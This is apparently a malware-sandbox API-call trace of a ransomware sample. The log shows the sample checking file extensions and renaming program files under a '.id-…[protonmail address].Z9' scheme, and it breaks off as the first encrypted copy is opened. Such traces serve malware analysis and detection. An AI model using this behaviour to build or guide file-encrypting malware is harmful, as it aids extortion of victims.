	[0088.639] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.639] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.639] lstrlenW (lpString=".doc") returned 4
	[0088.639] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.639] lstrlenW (lpString=".docx") returned 5
	[0088.639] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.639] lstrlenW (lpString=".pdf") returned 4
	[0088.639] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString=".xls") returned 4
	[0088.640] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString=".xlsx") returned 5
	[0088.640] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.640] lstrlenW (lpString=".ppt") returned 4
	[0088.640] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString=".zip") returned 4
	[0088.640] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString=".rar") returned 4
	[0088.640] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString=".bz2") returned 4
	[0088.640] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.640] lstrlenW (lpString=".7z") returned 3
	[0088.640] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString=".dbf") returned 4
	[0088.640] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString=".1cd") returned 4
	[0088.640] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString=".jpg") returned 4
	[0088.640] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.640] lstrlenW (lpString=".doc") returned 4
	[0088.640] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.640] lstrlenW (lpString=".docx") returned 5
	[0088.640] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.640] lstrlenW (lpString=".pdf") returned 4
	[0088.640] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.641] lstrlenW (lpString=".xls") returned 4
	[0088.641] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.641] lstrlenW (lpString=".xlsx") returned 5
	[0088.641] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.641] lstrlenW (lpString=".ppt") returned 4
	[0088.641] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.641] lstrlenW (lpString=".zip") returned 4
	[0088.641] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.641] lstrlenW (lpString=".rar") returned 4
	[0088.641] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.641] lstrlenW (lpString=".bz2") returned 4
	[0088.641] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.641] lstrlenW (lpString=".7z") returned 3
	[0088.641] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.641] lstrlenW (lpString=".dbf") returned 4
	[0088.641] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.641] lstrlenW (lpString=".1cd") returned 4
	[0088.641] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.641] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp120.dll") returned 70
	[0088.641] lstrlenW (lpString=".jpg") returned 4
	[0088.641] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.641] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.641] lstrlenW (lpString="msvcp140.dll") returned 12
	[0088.641] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.642] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=635040) returned 1
	[0088.642] CloseHandle (hObject=0x398) returned 1
	[0088.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll")) returned 0x20
	[0088.642] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.642] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcp140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.642] lstrlenW (lpString=".doc") returned 4
	[0088.642] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.642] lstrlenW (lpString=".docx") returned 5
	[0088.642] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.642] lstrlenW (lpString=".pdf") returned 4
	[0088.642] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.642] lstrlenW (lpString=".xls") returned 4
	[0088.642] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.642] lstrlenW (lpString=".xlsx") returned 5
	[0088.642] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.642] lstrlenW (lpString=".ppt") returned 4
	[0088.642] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.642] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.642] lstrlenW (lpString=".zip") returned 4
	[0088.642] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".rar") returned 4
	[0088.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".bz2") returned 4
	[0088.643] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.643] lstrlenW (lpString=".7z") returned 3
	[0088.643] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString=".dbf") returned 4
	[0088.643] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString=".1cd") returned 4
	[0088.643] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString=".jpg") returned 4
	[0088.643] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString=".doc") returned 4
	[0088.643] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".docx") returned 5
	[0088.643] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.643] lstrlenW (lpString=".pdf") returned 4
	[0088.643] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".xls") returned 4
	[0088.643] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".xlsx") returned 5
	[0088.643] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.643] lstrlenW (lpString=".ppt") returned 4
	[0088.643] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.643] lstrlenW (lpString=".zip") returned 4
	[0088.643] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".rar") returned 4
	[0088.643] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.643] lstrlenW (lpString=".bz2") returned 4
	[0088.644] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.644] lstrlenW (lpString=".7z") returned 3
	[0088.644] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.644] lstrlenW (lpString=".dbf") returned 4
	[0088.644] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.644] lstrlenW (lpString=".1cd") returned 4
	[0088.644] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcp140.dll") returned 70
	[0088.644] lstrlenW (lpString=".jpg") returned 4
	[0088.644] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.644] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0088.644] lstrlenW (lpString="msvcr120.dll") returned 12
	[0088.644] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0088.644] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=963240) returned 1
	[0088.644] CloseHandle (hObject=0x398) returned 1
	[0088.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll")) returned 0x20
	[0088.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0088.645] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.645] lstrlenW (lpString=".doc") returned 4
	[0088.645] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString=".docx") returned 5
	[0088.645] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.645] lstrlenW (lpString=".pdf") returned 4
	[0088.645] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString=".xls") returned 4
	[0088.645] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString=".xlsx") returned 5
	[0088.645] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.645] lstrlenW (lpString=".ppt") returned 4
	[0088.645] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.645] lstrlenW (lpString=".zip") returned 4
	[0088.645] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString=".rar") returned 4
	[0088.645] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.645] lstrlenW (lpString=".bz2") returned 4
	[0088.645] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.645] lstrlenW (lpString=".7z") returned 3
	[0088.645] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.645] lstrlenW (lpString=".dbf") returned 4
	[0088.645] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.645] lstrlenW (lpString=".1cd") returned 4
	[0088.645] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.646] lstrlenW (lpString=".jpg") returned 4
	[0088.646] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.646] lstrlenW (lpString=".doc") returned 4
	[0088.646] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString=".docx") returned 5
	[0088.646] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0088.646] lstrlenW (lpString=".pdf") returned 4
	[0088.646] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString=".xls") returned 4
	[0088.646] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString=".xlsx") returned 5
	[0088.646] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0088.646] lstrlenW (lpString=".ppt") returned 4
	[0088.646] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.646] lstrlenW (lpString=".zip") returned 4
	[0088.646] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString=".rar") returned 4
	[0088.646] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0088.646] lstrlenW (lpString=".bz2") returned 4
	[0088.646] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0088.646] lstrlenW (lpString=".7z") returned 3
	[0088.646] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0088.932] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.932] lstrlenW (lpString=".dbf") returned 4
	[0088.933] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0088.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.933] lstrlenW (lpString=".1cd") returned 4
	[0088.933] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0088.933] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\msvcr120.dll") returned 70
	[0088.933] lstrlenW (lpString=".jpg") returned 4
	[0088.933] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0088.933] lstrcmpiW (lpString1=".exe", lpString2=".Z9") returned -1
	[0088.933] lstrlenW (lpString="OfficeClickToRun.exe") returned 20
	[0088.933] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2bc
	[0088.933] GetFileSizeEx (in: hFile=0x2bc, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=2776664) returned 1
	[0088.933] CloseHandle (hObject=0x2bc) returned 1
	[0088.933] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 0x20
	[0088.934] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.535] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9")) returned 1
	[0089.545] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0089.545] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x20) returned 1
	[0089.545] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[help.me24@protonmail.com].z9"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1
	[0089.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.545] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.545] lstrlenW (lpString=".doc") returned 4
	[0089.545] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.545] lstrlenW (lpString=".docx") returned 5
	[0089.545] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0089.545] lstrlenW (lpString=".pdf") returned 4
	[0089.545] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".xls") returned 4
	[0089.546] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".xlsx") returned 5
	[0089.546] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0089.546] lstrlenW (lpString=".ppt") returned 4
	[0089.546] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString=".zip") returned 4
	[0089.546] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".rar") returned 4
	[0089.546] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".bz2") returned 4
	[0089.546] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.546] lstrlenW (lpString=".7z") returned 3
	[0089.546] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString=".dbf") returned 4
	[0089.546] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString=".1cd") returned 4
	[0089.546] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString=".jpg") returned 4
	[0089.546] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.546] lstrlenW (lpString=".doc") returned 4
	[0089.546] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1
	[0089.546] lstrlenW (lpString=".docx") returned 5
	[0089.546] lstrcmpiW (lpString1=".docx", lpString2="n.exe") returned -1
	[0089.546] lstrlenW (lpString=".pdf") returned 4
	[0089.546] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".xls") returned 4
	[0089.546] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1
	[0089.546] lstrlenW (lpString=".xlsx") returned 5
	[0089.547] lstrcmpiW (lpString1=".xlsx", lpString2="n.exe") returned -1
	[0089.547] lstrlenW (lpString=".ppt") returned 4
	[0089.547] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1
	[0089.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.547] lstrlenW (lpString=".zip") returned 4
	[0089.547] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1
	[0089.547] lstrlenW (lpString=".rar") returned 4
	[0089.547] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1
	[0089.547] lstrlenW (lpString=".bz2") returned 4
	[0089.547] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1
	[0089.547] lstrlenW (lpString=".7z") returned 3
	[0089.547] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1
	[0089.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.547] lstrlenW (lpString=".dbf") returned 4
	[0089.547] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1
	[0089.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.547] lstrlenW (lpString=".1cd") returned 4
	[0089.547] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1
	[0089.547] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe") returned 78
	[0089.547] lstrlenW (lpString=".jpg") returned 4
	[0089.547] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1
	[0089.547] lstrcmpiW (lpString1=".dll", lpString2=".Z9") returned -1
	[0089.547] lstrlenW (lpString="vccorlib140.dll") returned 15
	[0089.547] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0089.556] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x38cff14 | out: lpFileSize=0x38cff14*=390320) returned 1
	[0089.556] CloseHandle (hObject=0x300) returned 1
	[0089.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll")) returned 0x20
	[0089.556] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.556] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0089.557] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.557] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38cfec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.557] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\vccorlib140.dll.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\vccorlib140.dll.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0089.557] GetLastError () returned 0x0
